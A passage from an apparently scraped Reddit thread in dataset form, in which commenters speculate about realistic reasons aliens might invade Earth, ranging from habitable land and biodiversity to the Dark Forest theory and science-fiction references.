reproduce and dies off totally within a single generation. It may be less an issue of \"how can we possibly feed our growing population with technology\" and more \"how can we prevent our huge numbers from driving us all insane\". Now the interesting thing is that while the \"mouse utopias\" - the experiment was to see what would happen if you put a few mating pairs of mice in an environment with \"infinite\" food, hygiene, etc. and see how long it lasts - all failed, the NIMH studies on rats that followed the exact same parameters ended quite differently. That is because the rats became violent and territorial earlier, and formed small tribes that occasionally warred with each other, while the mice stayed friendly until numbers and lack of space drove them all insane. An alien might have done similar studies, and come to a similar conclusion - a universe without competition, i.e. warfare, is not a sustainable one in the long run, and their species is better served by allowing a portion of its population to be destroyed by war to keep their society from undergoing a behavioral sink. And so they invade Earth to reduce THEIR numbers, possibly even going so far as to refuse to use weaponry more advanced technologically than our own so that their ground forces take heavy casualties ON PURPOSE. It sounds like the plot behind those honor bound crazy warrior races like the Klingons and the Kzinti, but it actually makes some sense from a psychological standpoint for a species to adopt this as their creed, if they fear that a behavioral sink could doom them. ", "The most plausible idea I've heard is from the sci-fi novel \"the three body problem\" by Cixin Liu. In it, the nearest star system to earth, alpha Centauri, has a planet harbouring an advanced alien race. But the problem is that Alpha Centauri is a three-star system, which gives it a fundamentally unstable orbital system.\n\nAs a result, the aliens have had to adapt to radically changing and fundamentally unpredictable climates, with occasional cataclysmic events such as a close shave with one of the stars. They're also aware that their planet is the last remaining in the system, after all the others had been ejected or absorbed by the suns.\n\nSo they set out to take over the nearest single-Star solar system, which just happens to be us.\n\nTldr: aliens come to take over earth because of its stable orbit around a single Star.", "I am going to add a craazzy theory of mine here. Aliens that more likely to invade our earth is the humans from future or another dimensions. Given our tendency towards violence and history of invading non-threating , technically weak countries couple with habit of rapidly using of environmental resources, makes the humans most desperate and likey candid for alien invasion.", "Think about what technology would have to accomplish in order to achieve deep space travel like this. Do I think a civilization figures this out before they figure out a lot of other problems? Not really. Granted I have a strong assumption life on other planets evolves in a similar pathway that we might.   \n\n\nI think 2 other things have to happen, they either have to master their biology, or send AI. Deep space travel is likely to take a long time. It will be hard for them to keep a biomass alive, there's a lot of radiation in space. Even if a living organism made deep space travel, and probe is needed to ensure that the planet is safe. That probe will likely be a form of AI IMO.  \n\n\nAll that being said, I have a hard time they wouldn't have figured out terraforming. Maybe the earth can be more quickly translated to an environment that accommodate the alien life form. As others have said, the building blocks are our there. Maybe the time to collect and process those resources and terraform another planet would be too difficult or longer than their planet has. But again, I go back to the mastery of their own biology they would have had to gain to transport living beings. They might be able to adapt their own biology to a new environment fairly easily vs changing the planets ecosystem.  \n\n\nBit of a ramble, but I do think AI would be the first thing we'd make contact with and who knows how that thing might think.", "As far as we know, intelligent life has only happened on Earth. I think it's safe that, even if life was common given the right conditions, **intelligent** life must be much rarer. That's why I really like the Predator movies, because the only reason they come here is cultural, and they seek a challenge, in hunting another war-like species. There could be other uses for intelligent life, something like how the machines of the Matrix were originally using human brains to power their simulations.", "I\u2019ve had a minor theory that I\u2019ve working inside my head for years. Here\u2019s a short version of what I got so far. \n\nThink of the universe much like we treat our earth. People visit densely populated areas of our globe. Tourism is non-existent in on our poles (north and south), populated only by penguins and scientists. \n\nImagine that our solar system is the \u201csouth-pole\u201d of the universe. There\u2019s no reason to visit cause there\u2019s really nothing here. Only one planet is habitable in the entire cluster of planets. From time to time, when aliens do visit (Roswell, etc), these are the scientists that are braving the trek to the desolate part of the universe. Meanwhile, there are millions of \u201caliens\u201d travelling from planet to planet, system to system in much more populated corners of the universe.  Earth is well known to these beings, but they just know it as a planet of waddling penguins. \n\nOne day I\u2019ll bang this out into a much more intensive thesis, but it\u2019s a working theory for now. ", "So this question comes up now and then, and the grim fact of the matter is that the only unique thing about earth is the configurations of common things on it.\n\nThings like unique vistas or bizarre weather patterns or exotic animals or strange cultures. In other words, national parks, Michelin restaurants, small towns, ancient cities, and you.\n\nAll of this is to say that our first contact with aliens will probably be with the interstellar equivalent of your retired parents.", "I do believe that most if not all of the monsters, boogeymen, conquests, and violence of our past are based on greed or insecurities/fear. Greed is short sighted and personal and wouldn\u2019t lead to a galaxy faring species.  That leaves us with our insecurities and fear.  We\u2019ve disproven a lot of our insecurities of the past with science (though some cling to them still) and are now looking out to space as the big unknown.  So we now fear aliens.  I don\u2019t believe aliens would invade or want to conquer or exterminate us. ", "So while resources are not a reason for aliens to invade, I can think of one reason why they would, and it doesn't seem like one that gets regularly brought up. Infrastructure. We have factories, roads, power generation, everything a race would need to get a colony going without actually going through the work to build it themselves. If they are more advanced than us, and they can survive on Earth without any issues, it might actually be easier to take over the planet than try to colonize their own.", "Habitable land. \n\nTerraforming a planet is not feasible in any reasonable span of time and if a race has accessible interstellar travel, it is probably easier to take over a planet with a good atmosphere and biosphere than to try to make a new one. \n\nSo if we assume that Earth has elements ideal for life, then we can assume it is substantially similar to the conditions required by our invaders. Population is difficult to control, so if the aliens face the same exponential growth as humans, they are likely running out of space. \n\nWhat did humans do when they ran out of space? They wiped out their neighbors and took their land. The resources were part of that, sure. They made the land habitable (there's a reason there's not a huge land rush on the Sahara.) Extraction and export of those resources were secondary to the land itself. ", "Their ship is broken and we are the closest habitable planet. They have no way to fix their ship and so they land on earth and before they settle down they clean the earth the same way we would dust a house after an extended vacation. It's not even cruel from their perspective to destroy us **completely** because our consciousness to them hardly, if at all, registers as self aware. We can't even remember the time before life, we can't perceive the multitude of parallel existences simultaneously unfolding before us, and our future is veiled by death. \n\nThey don't need anything from us. And to a creature like that, none of \"our\" stuff belonged to us in the first place anyway...", "Does no one want to just say \u201chi\u201d? I don\u2019t understand. I want to make contact and go and see what it\u2019s like. If an alien species with a level of intelligence similar to ours or how it will be in a thousand years, why can\u2019t visiting sentient life be an option? Why not go there just to do it? Are we really that afraid of pissing off an alien species? Because that sounds like a human fear we deal with on Earth. I have a feeling all of our fears and worries and similar to ones sentient life have on every other planet where it exists. Let\u2019s go just to know we\u2019re not alone and to let some other planet know that they are not alone either. ", "Farmland. Anything remotely carbon based lifeform will need our ecosystem to thrive. No other planet we have seen supports plant life. Aliens got to eat and their food most likely grows well in an earth ecosystem. They might be pissed that we screwed it up and think we are heathens for not moving off valuable fertile land sooner but my guess is they need more room to grow food.", "Some others have said this, but biodiversity is what we have that aliens would want. Evolution is amazing at creating novel chemical and organic structures. Even now, we are exploring South and Central American jungles and finding new species with new and interesting biology. Those discoveries fuel research from medical to materials to aeronautics to space travel. \n\nIf you want to do something, there's a good chance nature's already solved the problem for you, you just have to figure out how to apply it. \n\nWhat if peanut butter could cure an alien disease that kills thousands every year? Or the pollen of a daisy was a powerful sedative for a certain species? New and exotic life forms and biochemistry would be worth coming across the light years.", "Ethics.\n\nPerhaps they subscribe to the theory that if you allow evil to happen when you have the power to stop it then you are also evil.\n\nI\u2019m sure they have a threshold, like they know they shouldn\u2019t interfere to stop evil unless it is either rampant or shows no signs of abating.\n\nTheir threshold must be very high, but maybe I\u2019m cynical. ", "I think that aliens would divide worlds into 2 categories; magnetic field and no magnetic field. Bodies without a magnetic field would be convenient reservoirs of Helium-3 to fuel space travel, which I believe is the fuel of choice because it doesn't give off neutrons that transmute the space ship. Bodies with a magnetic field would be good places to live, protected from radiation. The Earth would make for a good pit stop; the planet is protected, and the Moon (ie gas station) is conveniently located", "For raw materials, there is a whole universe to take and mine. Someone has probably written about this, but earth's life/biodiversity makes it worth visiting. The second law of thermodynamics states that nothing can be created without increasing the total entropy (disorder) of the universe. Order itself is very very very rare. Earth is to our knowledge, the only place where order is able to reign, and life is able to flourish and diversify. So in this scenario, aliens might come to witness the evolution of new species and see how they might react to different scenarios or environments that might be troubling them. Your question is oriented towards xenophobia and invasion of a different life form, so I guess they might 'invade' by culling the dominant species (us) to ensure that more species can evolve and live as opposed to everything adapting to fit a human world. \n\nPersonally, I would hope it would be like Star Trek, where species visit other planets and species to simply view the diversity of life on the sidelines to learn more about themselves and the universe out of curiosity. ", "Protein is the only thing we have here that you couldn\u2019t get somewhere else in the universe. So unless they\u2019re here to enslave us or eat us, they probably have no desire to invade. Not to mention it would be devestating for both of our species because we would communicate diseases between each other that either race has been exposed to. The other point is that if they\u2019re so advanced they can reach us and communicate back to their origin point, they probably already have every single thing they need to run their society. Their technology would render anything we had to offer, useless. They would have far more efficient fuel and likely self replicating artificial intelligence that could produce anything they could possibly ever need. If they could travel between galaxies then we are just a primitive ant compared to them and there\u2019s no rules that say they could act one way or another. It\u2019s also hard to answer this because any answer given will have human context inserted into it, and it\u2019s awfully short sited of humans to think that they would act hostile towards us, just because that\u2019s what we might do. ", "Genetically modifying organisms may be worthwhile. Earth is home to a vast library of useful genes after eons of trial and error through natural selection. I imagine coming up with useful genes from scratch is very difficult, which is why our GMOs borrow genes from other organisms. Something as prevalent here as photosynthesis could be unfathomable to a world without it.", "I could see some sort of fanatical religion or ideology emphasizing a specific racial group as the only beings worthy of existing in the universe leading to an invasion. Like, one racial group of the alien species goes full Nazi, kills all the other groups, and then goes into space a few thousand years later and does the same. Tbh, I don't think Nazi's would have thought highly of some technologically inferior alien species if they had taken over the earth and held on to power long enough to get to space and encounter one. Considering that scenario, this seems fairly plausible. ", "I never see people say this, but what about entertainment? We watch plenty of animal shows and documentaries. They might just be looking to watch us humans for fun. ", "Biological resources, living organisms, DNA, etc.\n\nMatter and materials exist elsewhere and would be hard and inefficient to transport on an interplanetary scale anyways.\n\nThink of it as the extraterrestrial version of scouring the Brazilian rain forest for edible or medicinal plants, or perhaps ivory poaching.\n\nIf they understand the environment well enough, they could bring home a small population and cultivate them, similar to humans cultivating silk spiders, dairy cows or horseshoe crabs.", "The first thoughts which spring to my mind are:\n\n* A political reason. The new regional governor needs to show his party is strong.\n\n* A training exercise for a new military department.\n\n* A religious cult / renegade party was exiled and needs a world to live on.\n\n* Earth designated local prison planet.\n\nMaybe even an extraterrestrial equivalent of the people who try and contact isolated tribes to convert them to religion.", "Cheap and easy slaves for hazardous work / food source / mix of both.\n\nDon't think we as a species are anything, at all, on a galactic scale. There's no reason for a race able to get to us to be lenient, to cooperate or even communicate unless the civilization doing so are _just barely_ able to get here. Or we get lucky, and they have a morality that deems it repulsive to exterminate/enslave us.\n\nJust because we have nukes (and maybe more) it does not mean that it offers us any protection. They can be negated in a multiplicity of ways, which the simplest would be something along the lines of infiltrating all our communications with a superior computational power, or knocking it all out.\n\ntl;dr Pray that we don't get unlucky enough to meet another space-faring civilization.", "Suppose a few probes arrive in a star system, and set up an asteroid mining operation. Without an appreciable gravity well, the asteroids are the natural go-to for water, minerals, etc, etc. Simple and harmless, yes?\n\n\nProblem is, there's a nascent civilization on one of the planets. Sure, they've barely gotten into orbit, but in a century or two, THEY might want to start mining asteroids too. That would be Competition, which would be Inconvenient.\n\n\nA few asteroids are redirected towards the potential annoyance, and the whole matter is resolved without much fuss.", "The only notably rare thing Earth has is life, and the things related to it. So there's enzymes, bionanotech (aka life), an oxygenated planet, something to study, a potential rival. Also, most of the galaxy is made of hydrogen, helium, and lithium, so any of the remaining elements are relatively rare galactically but common on planets and asteroids. They might just disassemble all solid objects in the solar system for material, possibly via a nanotech replicator that wouldn't even recognize we're alive.\n\nAs for invasion, it won't be anything like in the movies. Instead, things like asteroid bombardment, nanotech replicators, a bioweapon (either as weapon or accidental alien bacteria), or weapons beyond our comprehension. If you consider the panspermia theory, an alien invasion could just be bacteria that got blasted into space by asteroids.", "I humbly propose my hypothesis. If black holes make time move relatively slower due to proximity, the planets at the core of our galaxy would have slower relative time. Would it be feasible that they would come here and perform an experiment that they can watch from the core in fast forward? Of course assuming they have FTL travel.", "Entertainment. Keep the Earth as a zoo. Come and gawp at the animals. Maybe poke it with a (metaphorical) stick now and then just to see what happens. \n\nIntelligence - even comparatively low-grade human-level intelligence - is likely to be much rarer than material resources or energy.", "Your toe nails could be a treasure to aliens, who knows. They\u2019re aliens - they might be see through squid people who eat time through osmosis and experience everything backwards for all we know. And they also love our toenails. ", "They've found alien life before, and they were doing great.  \nThey've also found remains of long lost technologically advanced civilisations that didn't make it somehow.  \nThey have many theories why these dead civilisations died but never had a way to verify.  \n  \nThey've found us and recognise some key properties that indicate our eminent demise.  \nThey've peppered our solar system with sensors focussed on our planet and are making detailed notes how and why we're going extinct.  \nYears later they'll make a comedy show based on us about a family of earthians that manage to kill themselves comically every episode.  \n  \nThe show is financed using the money from the distribution of water they took from our planet.  ", "I don't believe there are any \"realistic\" reasons for aliens to invade. The energy required to cover interstellar distances in any reasonable time are completely prohibitive. And this is not one of those maybe-future-energy-source things. For us to send a ship as small as the space shuttle to the nearest star within 1,000 years may take as much energy as the sun will put out in its entire lifetime. I've not done that calculation, but the problem is of that order.", "One realistic reason would be that Earth is a place to live. The composition, size, distance to our star, and so on. It *should* make it easy for aliens to live here, if alien life is anything like our own. \n\nAnother reason to wipe us out could be to eradicate future competition. We will likely in the future attempt to leave this star system and settle others. But suitable worlds seem few and far between. We most likely won't find a planet like Earth where we can just settle down and breathe the atmosphere and grow food, we'll have to terraform it, and few planets seem suitable for that (and the same should apply for alien life). That might lead to competition to get those planets. Not to mention that we might create a runaway AI that becomes a future threat to the alien civilization and they might wish to extinguish that threat. \n\nAnyway, any aliens are likely veeeery far away (or already here! :p ). No worries. :)", "One I am shocked I haven't seen : petroleum.\n\nIt's used in a ton of processes, and is a primary component of many polymers and even medicines. It's necessary to make good plastics, and is a quality lubricant. Plus, as far as we are aware, it's just about the rarest thing that exists on the universe. ", "Plastics. Considering that plastics are a product of crude oil fossil fuels and the manipulation of humans. Crude oil on the scale we use required millions of years and generations of life to create a bio mass large enough to then be slowly processed by pressure and heat for millions more years. During that time, life must evolve intelligence enough to understand and manipulate chemistry enough to process oil into plastics. A bonus would be finding a planet that meets these conditions while the species that is creating plastics is is not sophisticated enough to recognize the rarity of plastics and does not recycle but instead recklessly dispose of said plastics in such a way that they start forming floating 'plastic islands', allowing the visiting aliens the ease of harvesting plastics with out pesky human interference.\n\n & #x200B;\n\nBecause of the unique conditions for plastics to exist, it makes them far more rare than heavy earth elements, gems or precious metals. ", "Ideal Temperature or just being one of the nearest star systems to extract energy from could be reason enough.\n\nOne of the things WE are currently looking around for are solar systems with planets in our own \u201cGoldilocks zone\u201d of habitable temperature.  If we had the capacity to travel to them, those would be the ones we\u2019d be headed to.  Reasonable to assume the same for them.", "My comment is going to be extremely buried, but oh well. The most likely form of alien race to attack us, imo, would be an AI. We\u2019ve already seen discussions by high-profile individuals in tech talking about the dangers of an AI singularity. Basically an artificial intelligence gets so smart that it snowballs into faster advancements than we can predict or even imagine. Maybe that intelligence decides that it doesn\u2019t need us, and we are toast. Or maybe it doesn\u2019t decide that. Or maybe it does, but we convince it otherwise, or we somehow win the war. But on an intergalactic scale, thousands of races make thousands of AIs which reach thousands of singularities. Just one of them lasts long enough to continue its crusade against biological life, not just on its own planet, but wherever it finds it.", "Life, as it exists possibly so few places. For slavery, \"assimilation\", or various other things concerning the universe's most scarce resource: Intelligent Life.\n\nOne of the most scary things to think about is when reading about the Fermi Paradox there's a possible solution that why we have yet to hear from aliens and the answer is essentially they are terrified to communicate back to us in fear of being heard. \n\nIn essence if you are heard communicating through radio a super intelligent alien race will at some point locate you and snuff you out. When we finally receive a message back from an alien race that took hundreds of years to arrive it may simply say,\n\n**\"Be quiet, they will hear you...\"**", "Interesting question  &  thought experiment, lot of fun comments throughout the page.  \n\nInvasion is a strong word but maybe they seed planets and abduct sample groups when they reach a certain level of evolutionary progress. Not enough abductions to make their presence known, but sufficiently diverse to build an accurate evolutionary map in order plan ahead for the future.\n\nIt would make sense to leave the sample planet(s) alone and only intervene if they were to threaten their own existence in some way. A wild theory that might play into why UFO sightings became prevalent around the time of the first atomic tests, although pop culture definitely had a huge part to play into the hysteria as well. Not to mention the as of yet unexplained \"evolutionary gap\" between primordial man and apes.\n\nMaybe the aliens tinkered with their DNA to the point where it began to cause problems and they need some genetic diversity from humans and other established colonies to restore balance within their own evolutionary tree. But its also possible that they are not carbon based, if they exist at all - in which case earth-DNA would probably be useless.\n\nFor material resources I would imagine that it would be much easier to harvest hydrogen, carbon, gold, and other resources on smaller bodies like comets and asteroids. The only thing we have that can't really be found elsewhere is oil, but I doubt a super advanced civilisation would be using oil for much of anything \n\nJust thinking to myself and am not an expert or scientist of any sort. But still fun/interesting to think about. thanks for posting u/Jon_Martensen", "Maybe it already happened and it was for Gold ?? [_URL_3_](_URL_3_)\n\n & #x200B;\n\n'By\u00a0Wood's calculation, the amount of missing gold alone is enough to gild Earth's entire surface in a layer almost 20\u00a0inches thick' \n\n[_URL_2_](_URL_1_)\n\n & #x200B;\n\nDNA is not human - Elongated Skulls \n\n[_URL_0_](_URL_0_)\n\n & #x200B;\n\nJust saying ?", "Given the resources necessary to invade another star system, it is HIGHLY unlikely that any chemical compounds to be found on Earth, would be beyond an invading alien species ability to replicate through the application of scientific force. Realistically speaking, if a species can cross interstellar distances in reasonable time scales, rather than messing about with generation ships (which is barely further along than we are at this stage), then they can create any combination of elements, in any form that they would require. Its not as if there are parts of the periodic table that are unique to this star system in any way, except the parts that come about as a result of human experimentation, and are therefore synthetic. \n\n & #x200B;\n\n Since there are synthetic elements, these MAY be unique to our system, our planet even, but its also perfectly possible that they exist elsewhere in the universe, in much greater volume, created by a natural process of some sort. Many of our synthetic elements are created by use of cyclotrons and so on, but its my understanding that most such apparatus only replicate certain conditions which the universe or parts thereof can, or have existed in before, and indeed, it would be unthinkable that the human race has, at this stage of its development, produced a condition during an experiment, which has not been experienced in the rest of the universe as a natural part of its processes. For example, the nuclear weapon is an impressive, terrifying invention, but the blast it creates is nothing more than an eyeblink in cosmic time, and rendered insignificant before the might of even the most pathetic stars, which are essentially nuclear explosions that carry on for billions of years. The LHC is awesome, but even it can only reproduce a condition that the universe used to exist in. Its not reinventing the wheel, its simply remembering it more accurately than had been possible before its invention. \n\n & #x200B;\n\n The most potent of our sciences cannot create something which is by its definition, alien to the universe we are a part of, at least, not at the moment. So there is no material, elemental or compound, that an alien species would come to this specific place for. It might be that an alien race would decide to arrive here because this system was the CLOSEST place to get a certain resource, but not because it was the ONLY place. In a similar way, I could get a beer from any one of several stores within a three mile radius of my home, but I am most likely to get a beer at the closest such location (the fact that my buddies live in a different part of town, which entices me to drink further afield not withstanding). In the event of an alien race deciding that this is the closest spot to get a certain resource, it would be likely that they would be on the way to somewhere,  and have run out of this resource, rather than having come here from another place specifically to get it. It would be akin to stopping at a service station during a long drive to get food or fuel, because you realise you are hungry and do not want to wait until you arrive at your destination to gain nutrition, or realise your tank is nearly dry and require more fuel than you initially purchased near the start of your journey. \n\n & #x200B;\n\n ", "Other than the obvious reasons like Enzymes, biodiversity, and uranium, I will offer my take on the Dark Forest version of the Fermi Paradox:\n\n & #x200B;\n\nLocation. In the Dark Forest theory, it is assumed that any advanced civilization should destroy any other advanced civilization as that is the most prudent and risk averse action when advanced civilizations meet. And using Drake's Equation we should have around 20 such civilizations \"near\" us so it may be safe to assume then that there could be 3-4 such races relatively close to us. It could be said that we are invaded because of outside conflicts facing the invaders.\n\n1. This invading alien race is currently at war with another advanced civilization when they find out about us. We could be in an awkward location for them if we ever advance enough to put them between 2 hunters so they decide that instead of waiting or risking that we destroy ourselves, they move in to do it for us as this means they know now that this section of the galaxy is clear and don't have to worry about our civilization in the future.\n2. We are strategically placed in the galaxy for a staging/resupply ground for any race trying to \"jump\" between the spiral arms of the milky way galaxy, and much like human colonizers in the Americas, find it more convenient to just move us out of the way due to time and the first point. This also encaptures a scenario where again, the aliens are at war, and we are like the midway atoll, strategically important so they lay claim to us and take us over due to our location.\n3. Last refuge. As others have pointed out, we are pretty well confined an isolated out here, and also inside of a decent sized gravity well. Maybe they find themselves losing a war or hunted by another civilization, so they decide to \"flee into the woods\" and use our planet as a last bastion in case their planets all succumb to their enemies. They would want to ensure that no more radio noise is pointlessly broadcasted so killing us solves that problem and gives them more room and control to set up shop.\n\nJust some alternative, slightly more specific theories than just the Dark Forest.", "What if the intelligent life is SO advanced that they wouldn\u2019t even know we were intelligent, and just look at us like we\u2019re rodents or barking dogs? They would likely not understand any of our language, body language, technology, etc. They would just colonize over top of us and we\u2019d be wiped out like an ant hill at a ground breaking of a strip mall. ", "I've thought about this, and the thing I've always thought most likely is a strategic location (assuming FTL). Our solar eclipses could be a very lucrative tourist destination, as others have pointed out, but there may be more concrete resources as well.\n\nFor example, suppose Earth is the closest habitable planet to the star [AU Microscopii](_URL_0_). It's 32 lightyears away and just 23 million years old. That means it's probably rich in curium-247, a fissile isotope with a half-life of 15 million years. A planet orbiting AU Mic would provide an endless source of cheap, isotopically pure nuclear fuel.\n\nOr a less likely possibility: Mercury's mantle has been stripped away by giant impacts in the past. With it's core closer to the surface it may be rich in sideophilic elements like platinum-group metals, making it valuable for mining. However, I don't know how common this is or if it would be cost-effective compared with mining asteroids.", "Movies like District 9 and Alien Nation probably contain the most realistic scenarios of mass alien migration to Earth. Although in terms of what you would call invasion I'd have to say that some version of the Borg is a pretty realistic concept. Alien Nation for those of you not old enough to have watched it is basically an alien slave ship crashes on Earth. District 9 is a where an underclass of real alien looking ETs arrive on earth looking for refuge. But getting onto the Borg - I think any advanced species is likely to trend towards both cybernetics and genetic engineering (including cross species traits / hybridization). To such point that they create multiple castes of society completely engineered differently to each other. With a worker class made to be subservient and able to convert other humanoids into more worker caste - it's not hard to imagine overtime that relatively small invasion forces could be sent to many, many possible destinations to attempt to make a foothold on new worlds. Land, survive, convert, expand, call home and advise the upper class that their new hunting retreat is up and running.... But getting to the 2nd part of your question yes there's a lot special about Earth, but not that special to specifically warrant an interstaller invasion more than any other life bearing planet. In terms of meeting another species, once we're past the communication issue, we'll be interested in their technology (and they in ours) but that's likely to be more problematic than what's it's worth - imagine that they have tricorders - is it going to be worthwhile trying to replicate their method of circuit board design and manufacture rather then advancing our own technology forwards. Their technology might be inspirational but given our (I like to think pretty high) level of technological development short of any scifi jump up in technology it's probably going to be difficult trading useful technologies. Resources are pretty universal, maybe we've got more uranium than they do, but nothing is going to be sufficient to justify an interstellar invasion. Enzymes - now this is where we get to something that has enormous value. Our biological catalysts may be the most significant trade items on an interstellar basis. However that warrants trade not invasion. But the most useful way to tackle your initial question may be to turn it around. What would cause us humans to invade another star system? If we achieve the ability of interstellar travel we will naturally want to explore. But more so we will want to spread our species and propegate beyond the Sol solar system. Miltarily we may wish to preempt invasion of own solar system by colonising all the neighbouring solar systems. We could land up with a penal colony in space where offenders have been sent up to be miners in the asteriod belt - they could revolt and build a colony ship and head out to look for a new Earth. Cern could one day build something that does actually blow Earth up, in which case the surving space miners may have to try their luck heading to a neighboring system. After a nuclear war the losing side, or the winning side or both may decide to leave the radiactive Earth behind and look for a new home. But whichever reason the cost of getting to a new solar system is going to be high, likely the trip will be one way. When encontering a new species if clear communication isn't established straight away frustration and desperation could turn peaceful explorers, colonists or refugees towards invasion.", "Aliens are led by an artificial intelligence that predicts with a great deal of likelihood that we are going to go to war with them in the future. They decide to attack now before we're technologically advanced enough to contend with them... you know, bomb the tribesmen before they develop nuclear bombs and bomb you.\n\nOr, they come in peace but diplomatic relations fall apart. ", "Look at our advanced wars, the path is not invading, the path is killing remotely, send bombs, send drones, send bio weapons, then just walk right in...\n\nOn a galactic timescale you can easily nuke the place and let the radiation clear before you arrive. \n\n", "Only 2 realistic reasons i can think of. To Take Humans and other earth life as curiosities. Probably take our art aswell to bring back and put in museums near the zoos housing our planets life. Or because they disagree with what we are doing idealogically. Say they stumbled upon us and think \u201cwhy are so many people barely surviving while others live in the lap of luxury\u201d and they come down and forceibly change our society out of some sort of \u201cwe know better we will teach you how to live\u201d mindset. I doubt theyd even see our militaries as a threat in the slightest. ", "My [old post](_URL_0_) from last year:\n\nIMHO turning humans into work slaves by aliens is completely nonsense. If you can travel across light years of distance, then you have so advanced tech, so you doesn't need slaves.\n\nAliens won't need us for slaves, won't need our gold, our oil, our woman, our food, our land. I can make up only one reason for a malicious alien race to invade - to gain our technology. But not primitive technology invented by our civilization. Only the technology that build our civilization up - biotechnology invented by evolution!\n\nMaybe every life cell, which appeared after 4 bilion years of evolution process has so advanced and precious solutions, that can tempt even technologically advanced race? Maybe that race can make use of it 10 thousands more than us at this moment? And because Earth biotechnology is useful only in Earth natural environment, to fully gain its benefits, you need also to fully know that environment. That means changing Earth into something milion times more sophisticated than rat laboratory - to chew every bit of Earth life along with its natural environment into science data.\n\nIf I wrote a apocalyptic sf book about alien invasion, that would be the plot.", "There could be many different types of alien life. \n\nReason's to invade\n\nIt's real estate, it has a livable atmosphere, oceans, land. That's about it. \n\nMining could be done easier in space. If they have a power source good enough to come, i.e. Fusion or better, then they have the technological ability to do almost anything they want in space. Growing crops would be harder, and having a place to raise Joey Mcturtle would be harder in space, so having a planet should be attractive. \n\n & #x200B;\n\nProblem 1) How fast can they get to us?\n\nIf it's based on less than faster than light travel, it would be a one way trip for aliens to come. Most likely they wouldn't even know we were here. \n\nYou could have species that would want 1 more habitable planet in their empire, or a group of colonists that go because they know there is a habitable world here. \n\nIf they can go much faster than the speed of light, either warp speed or wormhole travel or some other method, then the cost of coming to us would be much lower. \n\n & #x200B;\n\nProblem 2) How expensive is it for them to come here?\n\nAs per the above problem, the longer it takes the aliens to come, the more expensive it is in terms of life support and resources (energy, water, etc). \n\n & #x200B;\n\nProblem 3) Can they reason like us?\n\nWe assume that intelligent life will sometimes be above the need to conquer, having done so well technologically already. However, in theory, the people that conquered North and South America were more advanced (at least technologically). The major power imbalance doesn't work in our favor. That is, if they even reason like us at all. \n\n & #x200B;\n\nAliens could potentially be a mega corporation, or a religious cult, or a hive mind that just see's us as temporary biomass on their planet. The variety of species that could come here would easily lead to our extinction if they so wanted.\n\n & #x200B;\n\nProblem 4) What do they want to keep intact?\n\nWhat is the goal. Is it to only own a planet? Easiest way is to drop meteors or something like Tungsten Rods from space, speed it up a little bit or make the mass bigger, and have the ensuing wave/firestorm/blocked sunlight, volcanoes etc finish us off. However, that would destroy any infrastructure we have, people, and plant/animal life. \n\nIf they would want to just take us out, a virus is best. If they would want to control us, installing their people or people loyal to them in the governments across the world would do the job. \n\n & #x200B;\n\nProblem 5) How hard would it be for them to take over or destroy us?\n\nIf they had to physically fight 7+ billion humans, that would be a lot of work. If they instead us a virus, drop a meteor, or put people in positions of power, it would take much less work. \n\n & #x200B;\n\n & #x200B;", "One possibility I haven't seen mentioned is just room to expand into. As a species grows technologically, their population would likely expand as well, as ours has. As they fill a solar system, they might start looking to other solar systems for room to breathe. \n\nAdditionally, I believe any planet based species would prefer to live on the surface of a planet, so they might want Earth so theres more comfortable quarters to live in, as opposed to asteroid communities.\n\nFinally, people keep saying that resources are so abundant, they have no reason to come here for resources in particular. While resources are abundant, they are not unlimited. Look at how much more we consume with our current level of tech compared to 100 years ago. A highly advanced species would likely consume resources very rapidly and would ever be on the lookout for more to acquire.", "I think the reality is that we don't know enough about the possible scope of alien life to have a great idea.  They might have motives that are incomprehensible to us, and they might invade (or decide not to invade) for reasons that we wouldn't understand.\n\nA termite doesn't understand why we exterminate them.  An octopus doesn't understand why we would capture it and put it into a tank.\n\nSo one possibly realistic reason is, \"For a reason that we wouldn't understand if they explained it to us.\"", "The only thing that Earth has which is rare in the universe (as far as we know) is complex life. Plants and animals would probably be a wondrous sight to aliens who might be used to a whole different mix of elements and compounds ", "They might invade us for \u201cour own good\u201d. If an alien species thinks that they are vastly more culturally or morally advanced than we are they might come to our aid by force for the sake of the children. \n\nThey also might really want to share their religion with us. ", "It\u2019s very possible that a relativity bomb (Any sufficiently large object sped up to near-light speed aimed at a planet) would be both fairly easy to make and nearly impossible to defend against even for a very advanced civilisation. It would therefore be very much in their interests of a galactic hegemon to prevent other advanced civilisations from coming to power. It just isn\u2019t worth the risk.\n\nMind you, that is less an invasion and more of an obliteration we\u2019d never even see coming.", "Oil. Simple molecules can be found anywhere. But stuff like oil need complex life to have died and been compressed. That means it can only exist on planets where life has been occurring for tens of thousands of years. \n\nAny (carbon based) alien life would likely also have oil on their home planet. If they're facing the end of their own oil supplies and have uses for it that can't be easily replaced, maybe they'd start searching elsewhere.", "Rare isn't the question, it's really more one of economic recovery. \n\nFor the purposes of illustration, suppose gold is required for your warp drive or whatever, and gold gets consumed by whatever, and your civilization is constantly on the hunt for it, or periodically your starship/worldship requires replenishment of the gold, and you have no \"prime directive\" to restrict your actions on other planets and have no issues with SOP plunder tactics (invade, subjugate and take).\n\nIf a planet has gold, and gold is \"plentiful\" IFF you set up mining operations and recovery and process it, yay. \n\nBut if a planet has processed gold stacked conveniently in warehouses, then you just go to the warehouse and take the gold. Very economical collection.\n\nIt's all about easy availability. It need not be \"gold\" but could be anything ...even water sitting at it's triple point\n\nOr perhaps they just need a source of fresh meat, and have, over the many light years of travel and thousands of years as a spacefaring race, developed a taste for hominid species on their dinner menu, and their larders are growing empty.", "Convenience.  \n\nIf they're trying to explore/colonize/conquer/whatever this section of the galaxy, they may view Earth as a convenient place to set up a new base so they don't have to run local missions all the way from their home planet.  \n\n*\"Hey, look.  There's a nice system of planets right about here.  This third one has an atmosphere that is comparable with ours so we can set up base there while harvesting the minerals from the other ones.\"*\n\n*\"Yeah, but what about the primitive carbon based life forms that are already there?\"*\n\n*\"We can either assimilate them and use them as the local work force or annihilate them if they resist.\"*  \n\nWe don't have to be anything special or have anything special.  We could just be a convenient stop on the way to whatever their real goal is.  \n\n & #x200B;\n\n & #x200B;\n\n & #x200B;\n\n & #x200B;\n\n & #x200B;", "Our climate. Water is only liquid between a relative small range of temperatures. And as we see on earth, liquid water enables a lot of interesting chemistry and life itself. There isn\u2019t much you would want to mine here and take away,  but the real estate itself is primo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/e/e6/SolarSystemAbundances.png"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], 